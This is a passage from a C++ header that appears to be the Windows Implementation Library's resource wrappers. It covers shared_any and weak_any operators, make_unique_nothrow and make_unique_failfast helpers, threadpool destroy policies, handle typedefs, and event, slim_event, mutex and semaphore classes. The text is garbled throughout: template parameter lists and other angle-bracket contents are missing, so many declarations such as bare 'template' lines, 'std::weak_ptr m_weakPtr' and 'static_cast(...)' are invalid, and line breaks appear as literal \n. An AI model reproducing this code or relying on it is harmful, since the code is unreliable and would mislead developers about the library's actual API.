shared_any_t& left, wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !!left;\n }\n\n template \n bool operator!=(wistd::nullptr_t, const shared_any_t& right) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !!right;\n }\n\n template \n bool operator<(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT\n {\n return (left.get() < right.get());\n }\n\n template \n bool operator>=(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT\n {\n return (!(left < right));\n }\n\n template \n bool operator>(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT\n {\n return (right < left);\n }\n\n template \n bool operator<=(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT\n {\n return (!(right < left));\n }\n\n\n // This class provides weak_ptr<> support for shared_any<>, bringing the same weak reference counting and lock() acquire semantics\n // to shared_any.\n\n template \n class weak_any\n {\n public:\n typedef SharedT shared_t;\n\n weak_any() WI_NOEXCEPT\n {\n }\n\n weak_any(const shared_t &other) WI_NOEXCEPT :\n m_weakPtr(other.m_ptr)\n {\n }\n\n weak_any(const weak_any &other) WI_NOEXCEPT :\n m_weakPtr(other.m_weakPtr)\n {\n }\n\n weak_any& operator=(const weak_any &right) WI_NOEXCEPT\n {\n m_weakPtr = right.m_weakPtr;\n return (*this);\n }\n\n weak_any& operator=(const shared_t &right) WI_NOEXCEPT\n {\n m_weakPtr = right.m_ptr;\n return (*this);\n }\n\n void reset() WI_NOEXCEPT\n {\n m_weakPtr.reset();\n }\n\n void swap(weak_any &other) WI_NOEXCEPT\n {\n m_weakPtr.swap(other.m_weakPtr);\n }\n\n bool expired() const WI_NOEXCEPT\n {\n return m_weakPtr.expired();\n }\n\n shared_t lock() const WI_NOEXCEPT\n {\n return shared_t(m_weakPtr.lock());\n }\n\n private:\n std::weak_ptr m_weakPtr;\n };\n\n template \n void swap(weak_any& left, weak_any& right) WI_NOEXCEPT\n {\n left.swap(right);\n }\n\n template \n using shared_any = shared_any_t>;\n\n} // namespace wil\n#endif\n\n\n#if defined(WIL_RESOURCE_STL) && (defined(_UNORDERED_SET_) || defined(_UNORDERED_MAP_)) && !defined(__WIL_RESOURCE_SHARED_HASH)\n#define __WIL_RESOURCE_SHARED_HASH\nnamespace std\n{\n template \n struct hash>\n {\n size_t operator()(wil::shared_any_t const &val) const\n {\n return (hash::pointer>()(val.get()));\n }\n };\n}\n#endif\n\n\nnamespace wil\n{\n\n#if defined(__NOTHROW_T_DEFINED) && !defined(__WIL__NOTHROW_T_DEFINED)\n#define __WIL__NOTHROW_T_DEFINED\n /** Provides `std::make_unique()` semantics for resources allocated in a context that may not throw upon allocation failure.\n `wil::make_unique_nothrow()` is identical to `std::make_unique()` except for the following:\n * It returns `wistd::unique_ptr`, rather than `std::unique_ptr`\n * It returns an empty (null) `wistd::unique_ptr` upon allocation failure, rather than throwing an exception\n\n Note that `wil::make_unique_nothrow()` is not marked WI_NOEXCEPT as it may be used to create an exception-based class that may throw in its constructor.\n ~~~\n auto foo = wil::make_unique_nothrow(fooConstructorParam1, fooConstructorParam2);\n if (foo)\n {\n foo->Bar();\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value, wistd::unique_ptr<_Ty> >::type make_unique_nothrow(_Types&&... _Args)\n {\n return (wistd::unique_ptr<_Ty>(new(std::nothrow) _Ty(wistd::forward<_Types>(_Args)...)));\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated in a context that may not throw upon allocation failure.\n See the overload of `wil::make_unique_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_nothrow(size); // the default constructor will be called on each Foo object\n if (foos)\n {\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n elem.Bar();\n }\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent<_Ty>::value == 0, wistd::unique_ptr<_Ty> >::type make_unique_nothrow(size_t _Size)\n {\n typedef typename wistd::remove_extent<_Ty>::type _Elem;\n return (wistd::unique_ptr<_Ty>(new(std::nothrow) _Elem[_Size]()));\n }\n\n template \n typename wistd::enable_if::value != 0, void>::type make_unique_nothrow(_Types&&...) = delete;\n\n#if !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE)\n /** Provides `std::make_unique()` semantics for resources allocated in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_failfast(fooConstructorParam1, fooConstructorParam2);\n foo->Bar();\n ~~~\n */\n template \n inline typename wistd::enable_if::value, wistd::unique_ptr<_Ty> >::type make_unique_failfast(_Types&&... _Args)\n {\n#pragma warning(suppress: 28193) // temporary must be inspected (it is within the called function)\n return (wistd::unique_ptr<_Ty>(FAIL_FAST_IF_NULL_ALLOC(new(std::nothrow) _Ty(wistd::forward<_Types>(_Args)...))));\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_nothrow(size); // the default constructor will be called on each Foo object\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n elem.Bar();\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent<_Ty>::value == 0, wistd::unique_ptr<_Ty> >::type make_unique_failfast(size_t _Size)\n {\n typedef typename wistd::remove_extent<_Ty>::type _Elem;\n#pragma warning(suppress: 28193) // temporary must be inspected (it is within the called function)\n return (wistd::unique_ptr<_Ty>(FAIL_FAST_IF_NULL_ALLOC(new(std::nothrow) _Elem[_Size]())));\n }\n\n template \n typename wistd::enable_if::value != 0, void>::type make_unique_failfast(_Types&&...) = delete;\n#endif // !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE)\n#endif // __WIL__NOTHROW_T_DEFINED\n\n#if defined(_WINBASE_) && !defined(__WIL_WINBASE_) && !defined(WIL_KERNEL_MODE)\n#define __WIL_WINBASE_\n /// @cond\n namespace details\n {\n inline void __stdcall SetEvent(HANDLE h) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::SetEvent(h));\n }\n\n inline void __stdcall ResetEvent(HANDLE h) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::ResetEvent(h));\n }\n\n inline void __stdcall CloseHandle(HANDLE h) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::CloseHandle(h));\n }\n\n inline void __stdcall ReleaseSemaphore(_In_ HANDLE h) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::ReleaseSemaphore(h, 1, nullptr));\n }\n\n inline void __stdcall ReleaseMutex(_In_ HANDLE h) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::ReleaseMutex(h));\n }\n\n inline void __stdcall CloseTokenLinkedToken(_In_ TOKEN_LINKED_TOKEN* linkedToken) WI_NOEXCEPT\n {\n if (linkedToken->LinkedToken && (linkedToken->LinkedToken != INVALID_HANDLE_VALUE))\n {\n __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::CloseHandle(linkedToken->LinkedToken));\n }\n }\n\n enum class PendingCallbackCancellationBehavior\n {\n Cancel,\n Wait,\n NoWait,\n };\n\n template \n struct DestroyThreadPoolWait\n {\n static void Destroy(_In_ PTP_WAIT threadPoolWait) WI_NOEXCEPT\n {\n ::SetThreadpoolWait(threadPoolWait, nullptr, nullptr);\n ::WaitForThreadpoolWaitCallbacks(threadPoolWait, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel));\n ::CloseThreadpoolWait(threadPoolWait);\n }\n };\n\n template <>\n struct DestroyThreadPoolWait\n {\n static void Destroy(_In_ PTP_WAIT threadPoolWait) WI_NOEXCEPT\n {\n ::CloseThreadpoolWait(threadPoolWait);\n }\n };\n\n template \n struct DestroyThreadPoolWork\n {\n static void Destroy(_In_ PTP_WORK threadpoolWork) WI_NOEXCEPT\n {\n ::WaitForThreadpoolWorkCallbacks(threadpoolWork, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel));\n ::CloseThreadpoolWork(threadpoolWork);\n }\n };\n\n template <>\n struct DestroyThreadPoolWork\n {\n static void Destroy(_In_ PTP_WORK threadpoolWork) WI_NOEXCEPT\n {\n ::CloseThreadpoolWork(threadpoolWork);\n }\n };\n\n // Non-RTL implementation for threadpool_t parameter of DestroyThreadPoolTimer<>\n struct SystemThreadPoolMethods\n {\n static void WINAPI SetThreadpoolTimer(_Inout_ PTP_TIMER Timer, _In_opt_ PFILETIME DueTime, _In_ DWORD Period, _In_opt_ DWORD WindowLength) WI_NOEXCEPT\n {\n ::SetThreadpoolTimer(Timer, DueTime, Period, WindowLength);\n }\n static void WaitForThreadpoolTimerCallbacks(_Inout_ PTP_TIMER Timer, _In_ BOOL CancelPendingCallbacks) WI_NOEXCEPT\n {\n ::WaitForThreadpoolTimerCallbacks(Timer, CancelPendingCallbacks);\n }\n static void CloseThreadpoolTimer(_Inout_ PTP_TIMER Timer) WI_NOEXCEPT\n {\n ::CloseThreadpoolTimer(Timer);\n }\n };\n\n // SetThreadpoolTimer(timer, nullptr, 0, 0) will cancel any pending callbacks,\n // then CloseThreadpoolTimer will asynchronusly close the timer if a callback is running.\n template \n struct DestroyThreadPoolTimer\n {\n static void Destroy(_In_ PTP_TIMER threadpoolTimer) WI_NOEXCEPT\n {\n threadpool_t::SetThreadpoolTimer(threadpoolTimer, nullptr, 0, 0);\n#pragma warning(suppress:4127) // conditional expression is constant\n if (cancellationBehavior != PendingCallbackCancellationBehavior::NoWait)\n {\n threadpool_t::WaitForThreadpoolTimerCallbacks(threadpoolTimer, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel));\n }\n threadpool_t::CloseThreadpoolTimer(threadpoolTimer);\n }\n };\n\n // PendingCallbackCancellationBehavior::NoWait explicitly does not block waiting for\n // callbacks when destructing.\n template \n struct DestroyThreadPoolTimer\n {\n static void Destroy(_In_ PTP_TIMER threadpoolTimer) WI_NOEXCEPT\n {\n threadpool_t::CloseThreadpoolTimer(threadpoolTimer);\n }\n };\n\n template \n struct DestroyThreadPoolIo\n {\n static void Destroy(_In_ PTP_IO threadpoolIo) WI_NOEXCEPT\n {\n ::WaitForThreadpoolIoCallbacks(threadpoolIo, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel));\n ::CloseThreadpoolIo(threadpoolIo);\n }\n };\n\n template <>\n struct DestroyThreadPoolIo\n {\n static void Destroy(_In_ PTP_IO threadpoolIo) WI_NOEXCEPT\n {\n ::CloseThreadpoolIo(threadpoolIo);\n }\n };\n\n template \n struct handle_invalid_resource_policy : resource_policy\n {\n __forceinline static bool is_valid(HANDLE ptr) WI_NOEXCEPT { return ((ptr != INVALID_HANDLE_VALUE) && (ptr != nullptr)); }\n };\n\n template \n struct handle_null_resource_policy : resource_policy\n {\n __forceinline static bool is_valid(HANDLE ptr) WI_NOEXCEPT { return ((ptr != nullptr) && (ptr != INVALID_HANDLE_VALUE)); }\n };\n\n template \n struct handle_null_only_resource_policy : resource_policy\n {\n __forceinline static bool is_valid(HANDLE ptr) WI_NOEXCEPT { return (ptr != nullptr); }\n };\n\n typedef resource_policy handle_resource_policy;\n }\n /// @endcond\n\n template \n using unique_any_handle_invalid = unique_any_t>>;\n\n template \n using unique_any_handle_null = unique_any_t>>;\n\n template \n using unique_any_handle_null_only = unique_any_t>>;\n\n typedef unique_any_handle_invalid unique_hfile;\n typedef unique_any_handle_null unique_handle;\n typedef unique_any_handle_invalid unique_hfind;\n typedef unique_any unique_hmodule;\n typedef unique_any_handle_null_only unique_process_handle;\n\n typedef unique_struct unique_token_linked_token;\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM)\n typedef unique_any unique_sid;\n#endif\n\n using unique_tool_help_snapshot = unique_hfile;\n\n typedef unique_any::Destroy> unique_threadpool_wait;\n typedef unique_any::Destroy> unique_threadpool_wait_nocancel;\n typedef unique_any::Destroy> unique_threadpool_wait_nowait;\n typedef unique_any::Destroy> unique_threadpool_work;\n typedef unique_any::Destroy> unique_threadpool_work_nocancel;\n typedef unique_any::Destroy> unique_threadpool_work_nowait;\n typedef unique_any::Destroy> unique_threadpool_timer;\n typedef unique_any::Destroy> unique_threadpool_timer_nocancel;\n typedef unique_any::Destroy> unique_threadpool_timer_nowait;\n typedef unique_any::Destroy> unique_threadpool_io;\n typedef unique_any::Destroy> unique_threadpool_io_nocancel;\n typedef unique_any::Destroy> unique_threadpool_io_nowait;\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n typedef unique_any_handle_invalid unique_hfind_change;\n#endif\n\n typedef unique_any event_set_scope_exit;\n typedef unique_any event_reset_scope_exit;\n\n // Guarantees a SetEvent on the given event handle when the returned object goes out of scope\n // Note: call SetEvent early with the reset() method on the returned object or abort the call with the release() method\n WI_NODISCARD inline event_set_scope_exit SetEvent_scope_exit(HANDLE hEvent) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT__(hEvent != nullptr);\n return event_set_scope_exit(hEvent);\n }\n\n // Guarantees a ResetEvent on the given event handle when the returned object goes out of scope\n // Note: call ResetEvent early with the reset() method on the returned object or abort the call with the release() method\n WI_NODISCARD inline event_reset_scope_exit ResetEvent_scope_exit(HANDLE hEvent) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT__(hEvent != nullptr);\n return event_reset_scope_exit(hEvent);\n }\n\n // Checks to see if the given *manual reset* event is currently signaled. The event must not be an auto-reset event.\n // Use when the event will only be set once (cancellation-style) or will only be reset by the polling thread\n inline bool event_is_signaled(HANDLE hEvent) WI_NOEXCEPT\n {\n auto status = ::WaitForSingleObjectEx(hEvent, 0, FALSE);\n // Fast fail will trip for wait failures, auto-reset events, or when the event is being both Set and Reset\n // from a thread other than the polling thread (use event_wait directly for those cases).\n __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || ((status == WAIT_OBJECT_0) && (WAIT_OBJECT_0 == ::WaitForSingleObjectEx(hEvent, 0, FALSE))));\n return (status == WAIT_OBJECT_0);\n }\n\n // Waits on the given handle for the specified duration\n inline bool handle_wait(HANDLE hEvent, DWORD dwMilliseconds = INFINITE) WI_NOEXCEPT\n {\n DWORD status = ::WaitForSingleObjectEx(hEvent, dwMilliseconds, FALSE);\n __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || (status == WAIT_OBJECT_0));\n return (status == WAIT_OBJECT_0);\n }\n\n enum class EventOptions\n {\n None = 0x0,\n ManualReset = 0x1,\n Signaled = 0x2\n };\n DEFINE_ENUM_FLAG_OPERATORS(EventOptions);\n\n template \n class event_t : public storage_t\n {\n public:\n // forward all base class constructors...\n template \n explicit event_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {}\n\n // HRESULT or void error handling...\n typedef typename err_policy::result result;\n\n // Exception-based constructor to create an unnamed event\n event_t(EventOptions options)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions or fail fast; use the create method\");\n create(options);\n }\n\n void ResetEvent() const WI_NOEXCEPT\n {\n details::ResetEvent(storage_t::get());\n }\n\n void SetEvent() const WI_NOEXCEPT\n {\n details::SetEvent(storage_t::get());\n }\n\n // Guarantees a SetEvent on the given event handle when the returned object goes out of scope\n // Note: call SetEvent early with the reset() method on the returned object or abort the call with the release() method\n WI_NODISCARD event_set_scope_exit SetEvent_scope_exit() const WI_NOEXCEPT\n {\n return wil::SetEvent_scope_exit(storage_t::get());\n }\n\n // Guarantees a ResetEvent on the given event handle when the returned object goes out of scope\n // Note: call ResetEvent early with the reset() method on the returned object or abort the call with the release() method\n WI_NODISCARD event_reset_scope_exit ResetEvent_scope_exit() const WI_NOEXCEPT\n {\n return wil::ResetEvent_scope_exit(storage_t::get());\n }\n\n // Checks if a *manual reset* event is currently signaled. The event must not be an auto-reset event.\n // Use when the event will only be set once (cancellation-style) or will only be reset by the polling thread\n bool is_signaled() const WI_NOEXCEPT\n {\n return wil::event_is_signaled(storage_t::get());\n }\n\n // Basic WaitForSingleObject on the event handle with the given timeout\n bool wait(DWORD dwMilliseconds = INFINITE) const WI_NOEXCEPT\n {\n return wil::handle_wait(storage_t::get(), dwMilliseconds);\n }\n\n // Tries to create a named event -- returns false if unable to do so (gle may still be inspected with return=false)\n bool try_create(EventOptions options, PCWSTR name, _In_opt_ LPSECURITY_ATTRIBUTES pSecurity = nullptr, _Out_opt_ bool *pAlreadyExists = nullptr)\n {\n auto handle = ::CreateEventExW(pSecurity, name, (WI_IsFlagSet(options, EventOptions::ManualReset) ? CREATE_EVENT_MANUAL_RESET : 0) | (WI_IsFlagSet(options, EventOptions::Signaled) ? CREATE_EVENT_INITIAL_SET : 0), EVENT_ALL_ACCESS);\n if (!handle)\n {\n assign_to_opt_param(pAlreadyExists, false);\n return false;\n }\n assign_to_opt_param(pAlreadyExists, (::GetLastError() == ERROR_ALREADY_EXISTS));\n storage_t::reset(handle);\n return true;\n }\n\n // Returns HRESULT for unique_event_nothrow, void with exceptions for shared_event and unique_event\n result create(EventOptions options = EventOptions::None, PCWSTR name = nullptr, _In_opt_ LPSECURITY_ATTRIBUTES pSecurity = nullptr, _Out_opt_ bool *pAlreadyExists = nullptr)\n {\n return err_policy::LastErrorIfFalse(try_create(options, name, pSecurity, pAlreadyExists));\n }\n\n // Tries to open the named event -- returns false if unable to do so (gle may still be inspected with return=false)\n bool try_open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | EVENT_MODIFY_STATE, bool inheritHandle = false)\n {\n auto handle = ::OpenEventW(desiredAccess, inheritHandle, name);\n if (handle == nullptr)\n {\n return false;\n }\n storage_t::reset(handle);\n return true;\n }\n\n // Returns HRESULT for unique_event_nothrow, void with exceptions for shared_event and unique_event\n result open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | EVENT_MODIFY_STATE, bool inheritHandle = false)\n {\n return err_policy::LastErrorIfFalse(try_open(name, desiredAccess, inheritHandle));\n }\n };\n\n typedef unique_any_t, err_returncode_policy>> unique_event_nothrow;\n typedef unique_any_t, err_failfast_policy>> unique_event_failfast;\n#ifdef WIL_ENABLE_EXCEPTIONS\n typedef unique_any_t, err_exception_policy>> unique_event;\n#endif\n\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7)\n enum class SlimEventType\n {\n AutoReset,\n ManualReset,\n };\n\n /** A lean and mean event class.\n This class provides a very similar API to `wil::unique_event` but doesn't require a kernel object.\n\n The two variants of this class are:\n - `wil::slim_event_auto_reset`\n - `wil::slim_event_manual_reset`\n\n In addition, `wil::slim_event_auto_reset` has the alias `wil::slim_event`.\n\n Some key differences to `wil::unique_event` include:\n - There is no 'create()' function, as initialization occurs in the constructor and can't fail.\n - The move functions have been deleted.\n - For auto-reset events, the `is_signaled()` function doesn't reset the event. (Use `ResetEvent()` instead.)\n - The `ResetEvent()` function returns the previous state of the event.\n - To create a manual reset event, use `wil::slim_event_manual_reset'.\n ~~~~\n wil::slim_event finished;\n std::thread doStuff([&finished] () {\n Sleep(10);\n finished.SetEvent();\n });\n finished.wait();\n\n std::shared_ptr CreateSharedEvent(bool startSignaled)\n {\n return std::make_shared(startSignaled);\n }\n ~~~~ */\n template \n class slim_event_t\n {\n public:\n slim_event_t() WI_NOEXCEPT = default;\n\n slim_event_t(bool isSignaled) WI_NOEXCEPT :\n m_isSignaled(isSignaled ? TRUE : FALSE)\n {\n }\n\n // Cannot change memory location.\n slim_event_t(const slim_event_t&) = delete;\n slim_event_t(slim_event_t&&) = delete;\n slim_event_t& operator=(const slim_event_t&) = delete;\n slim_event_t& operator=(slim_event_t&&) = delete;\n\n // Returns the previous state of the event.\n bool ResetEvent() WI_NOEXCEPT\n {\n return !!InterlockedExchange(&m_isSignaled, FALSE);\n }\n\n void SetEvent() WI_NOEXCEPT\n {\n // FYI: 'WakeByAddress*' invokes a full memory barrier.\n WriteRelease(&m_isSignaled, TRUE);\n\n #pragma warning(suppress:4127) // conditional expression is constant\n if (Type == SlimEventType::AutoReset)\n {\n WakeByAddressSingle(&m_isSignaled);\n }\n else\n {\n WakeByAddressAll(&m_isSignaled);\n }\n }\n\n // Checks if the event is currently signaled.\n // Note: Unlike Win32 auto-reset event objects, this will not reset the event.\n bool is_signaled() const WI_NOEXCEPT\n {\n return !!ReadAcquire(&m_isSignaled);\n }\n\n bool wait(DWORD timeoutMiliseconds) WI_NOEXCEPT\n {\n if (timeoutMiliseconds == 0)\n {\n return TryAcquireEvent();\n }\n else if (timeoutMiliseconds == INFINITE)\n {\n return wait();\n }\n\n UINT64 startTime;\n QueryUnbiasedInterruptTime(&startTime);\n\n UINT64 elapsedTimeMilliseconds = 0;\n\n while (!TryAcquireEvent())\n {\n if (elapsedTimeMilliseconds >= timeoutMiliseconds)\n {\n return false;\n }\n\n DWORD newTimeout = static_cast(timeoutMiliseconds - elapsedTimeMilliseconds);\n\n if (!WaitForSignal(newTimeout))\n {\n return false;\n }\n\n UINT64 currTime;\n QueryUnbiasedInterruptTime(&currTime);\n\n elapsedTimeMilliseconds = (currTime - startTime) / (10 * 1000);\n }\n\n return true;\n }\n\n bool wait() WI_NOEXCEPT\n {\n while (!TryAcquireEvent())\n {\n if (!WaitForSignal(INFINITE))\n {\n return false;\n }\n }\n\n return true;\n }\n\n private:\n bool TryAcquireEvent() WI_NOEXCEPT\n {\n #pragma warning(suppress:4127) // conditional expression is constant\n if (Type == SlimEventType::AutoReset)\n {\n return ResetEvent();\n }\n else\n {\n return is_signaled();\n }\n }\n\n bool WaitForSignal(DWORD timeoutMiliseconds) WI_NOEXCEPT\n {\n LONG falseValue = FALSE;\n BOOL waitResult = WaitOnAddress(&m_isSignaled, &falseValue, sizeof(m_isSignaled), timeoutMiliseconds);\n __FAIL_FAST_ASSERT__(waitResult || ::GetLastError() == ERROR_TIMEOUT);\n return !!waitResult;\n }\n\n LONG m_isSignaled = FALSE;\n };\n\n /** An event object that will atomically revert to an unsignaled state anytime a `wait()` call succeeds (i.e. returns true). */\n using slim_event_auto_reset = slim_event_t;\n\n /** An event object that once signaled remains that way forever, unless `ResetEvent()` is called. */\n using slim_event_manual_reset = slim_event_t;\n\n /** An alias for `wil::slim_event_auto_reset`. */\n using slim_event = slim_event_auto_reset;\n\n#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7)\n\n typedef unique_any mutex_release_scope_exit;\n\n WI_NODISCARD inline mutex_release_scope_exit ReleaseMutex_scope_exit(_In_ HANDLE hMutex) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT__(hMutex != nullptr);\n return mutex_release_scope_exit(hMutex);\n }\n\n // For efficiency, avoid using mutexes when an srwlock or condition variable will do.\n template \n class mutex_t : public storage_t\n {\n public:\n // forward all base class constructors...\n template \n explicit mutex_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {}\n\n // HRESULT or void error handling...\n typedef typename err_policy::result result;\n\n // Exception-based constructor to create a mutex (prefer unnamed (nullptr) for the name)\n mutex_t(_In_opt_ PCWSTR name)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions or fail fast; use the create method\");\n create(name);\n }\n\n void ReleaseMutex() const WI_NOEXCEPT\n {\n details::ReleaseMutex(storage_t::get());\n }\n\n WI_NODISCARD mutex_release_scope_exit ReleaseMutex_scope_exit() const WI_NOEXCEPT\n {\n return wil::ReleaseMutex_scope_exit(storage_t::get());\n }\n\n WI_NODISCARD mutex_release_scope_exit acquire(_Out_opt_ DWORD *pStatus = nullptr, DWORD dwMilliseconds = INFINITE, BOOL bAlertable = FALSE) const WI_NOEXCEPT\n {\n auto handle = storage_t::get();\n DWORD status = ::WaitForSingleObjectEx(handle, dwMilliseconds, bAlertable);\n assign_to_opt_param(pStatus, status);\n __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || (status == WAIT_OBJECT_0) || (status == WAIT_ABANDONED) || (bAlertable && (status == WAIT_IO_COMPLETION)));\n return mutex_release_scope_exit(((status == WAIT_OBJECT_0) || (status == WAIT_ABANDONED)) ? handle : nullptr);\n }\n\n // Tries to create a named mutex -- returns false if unable to do so (gle may still be inspected with return=false)\n bool try_create(_In_opt_ PCWSTR name, DWORD dwFlags = 0, DWORD desiredAccess = MUTEX_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pMutexAttributes = nullptr)\n {\n auto handle = ::CreateMutexExW(pMutexAttributes, name, dwFlags, desiredAccess);\n if (handle == nullptr)\n {\n return false;\n }\n storage_t::reset(handle);\n return true;\n }\n\n // Returns HRESULT for unique_mutex_nothrow, void with exceptions for shared_mutex and unique_mutex\n result create(_In_opt_ PCWSTR name = nullptr, DWORD dwFlags = 0, DWORD desiredAccess = MUTEX_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pMutexAttributes = nullptr)\n {\n return err_policy::LastErrorIfFalse(try_create(name, dwFlags, desiredAccess, pMutexAttributes));\n }\n\n // Tries to open a named mutex -- returns false if unable to do so (gle may still be inspected with return=false)\n bool try_open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | MUTEX_MODIFY_STATE, bool inheritHandle = false)\n {\n auto handle = ::OpenMutexW(desiredAccess, inheritHandle, name);\n if (handle == nullptr)\n {\n return false;\n }\n storage_t::reset(handle);\n return true;\n }\n\n // Returns HRESULT for unique_mutex_nothrow, void with exceptions for shared_mutex and unique_mutex\n result open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | MUTEX_MODIFY_STATE, bool inheritHandle = false)\n {\n return err_policy::LastErrorIfFalse(try_open(name, desiredAccess, inheritHandle));\n }\n };\n\n typedef unique_any_t, err_returncode_policy>> unique_mutex_nothrow;\n typedef unique_any_t, err_failfast_policy>> unique_mutex_failfast;\n#ifdef WIL_ENABLE_EXCEPTIONS\n typedef unique_any_t, err_exception_policy>> unique_mutex;\n#endif\n\n typedef unique_any semaphore_release_scope_exit;\n\n WI_NODISCARD inline semaphore_release_scope_exit ReleaseSemaphore_scope_exit(_In_ HANDLE hSemaphore) WI_NOEXCEPT\n {\n __FAIL_FAST_ASSERT__(hSemaphore != nullptr);\n return semaphore_release_scope_exit(hSemaphore);\n }\n\n template \n class semaphore_t : public storage_t\n {\n public:\n // forward all base class constructors...\n template \n explicit semaphore_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {}\n\n // HRESULT or void error handling...\n typedef typename err_policy::result result;\n\n // Note that for custom-constructors the type given the constructor has to match exactly as not all implicit conversions will make it through the\n // forwarding constructor. This constructor, for example, uses 'int' instead of 'LONG' as the count to ease that particular issue (const numbers are int by default).\n explicit semaphore_t(int initialCount, int maximumCount, _In_opt_ PCWSTR name = nullptr, DWORD desiredAccess = SEMAPHORE_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pSemaphoreAttributes = nullptr)\n {\n static_assert(wistd::is_same::value, \"this constructor requires exceptions or fail fast; use the create method\");\n create(initialCount, maximumCount, name, desiredAccess, pSemaphoreAttributes);\n }\n\n void ReleaseSemaphore(long nReleaseCount = 1, _In_opt_ long *pnPreviousCount = nullptr) WI_NOEXCEPT\n {\n long nPreviousCount = 0;\n __FAIL_FAST_ASSERT__(::ReleaseSemaphore(storage_t::get(), nReleaseCount, &nPreviousCount));\n assign_to_opt_param(pnPreviousCount, nPreviousCount);\n }\n\n WI_NODISCARD semaphore_release_scope_exit ReleaseSemaphore_scope_exit() WI_NOEXCEPT\n {\n return wil::ReleaseSemaphore_scope_exit(storage_t::get());\n }\n\n WI_NODISCARD semaphore_release_scope_exit acquire(_Out_opt_ DWORD *pStatus = nullptr, DWORD dwMilliseconds = INFINITE, BOOL bAlertable = FALSE) WI_NOEXCEPT\n {\n auto handle = storage_t::get();\n DWORD status = ::WaitForSingleObjectEx(handle, dwMilliseconds, bAlertable);\n assign_to_opt_param(pStatus, status);\n __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || (status == WAIT_OBJECT_0) || (bAlertable && (status == WAIT_IO_COMPLETION)));\n return semaphore_release_scope_exit((status == WAIT_OBJECT_0) ? handle : nullptr);\n }\n\n // Tries to create a named event -- returns false if unable to do so (gle may still be inspected with return=false)\n bool try_create(LONG lInitialCount, LONG lMaximumCount, _In_opt_ PCWSTR name, DWORD desiredAccess = SEMAPHORE_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pSemaphoreAttributes = nullptr)\n {\n auto handle = ::CreateSemaphoreExW(pSemaphoreAttributes, lInitialCount, lMaximumCount, name, 0, desiredAccess);\n if (handle == nullptr)\n {\n return false;\n }\n storage_t::reset(handle);\n return true;\n }\n\n // Returns HRESULT for unique_semaphore_nothrow, void with exceptions for shared_event and unique_event\n result create(LONG lInitialCount, LONG lMaximumCount, _In_opt_ PCWSTR name = nullptr, DWORD desiredAccess = SEMAPHORE_ALL_ACCESS, _In_opt_ PSECURITY_ATTRIBUTES pSemaphoreAttributes = nullptr)\n {\n return err_policy::LastErrorIfFalse(try_create(lInitialCount, lMaximumCount, name, desiredAccess, pSemaphoreAttributes));\n }\n\n // Tries to open the named semaphore -- returns false if unable to do so (gle may still be inspected with return=false)\n bool try_open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | 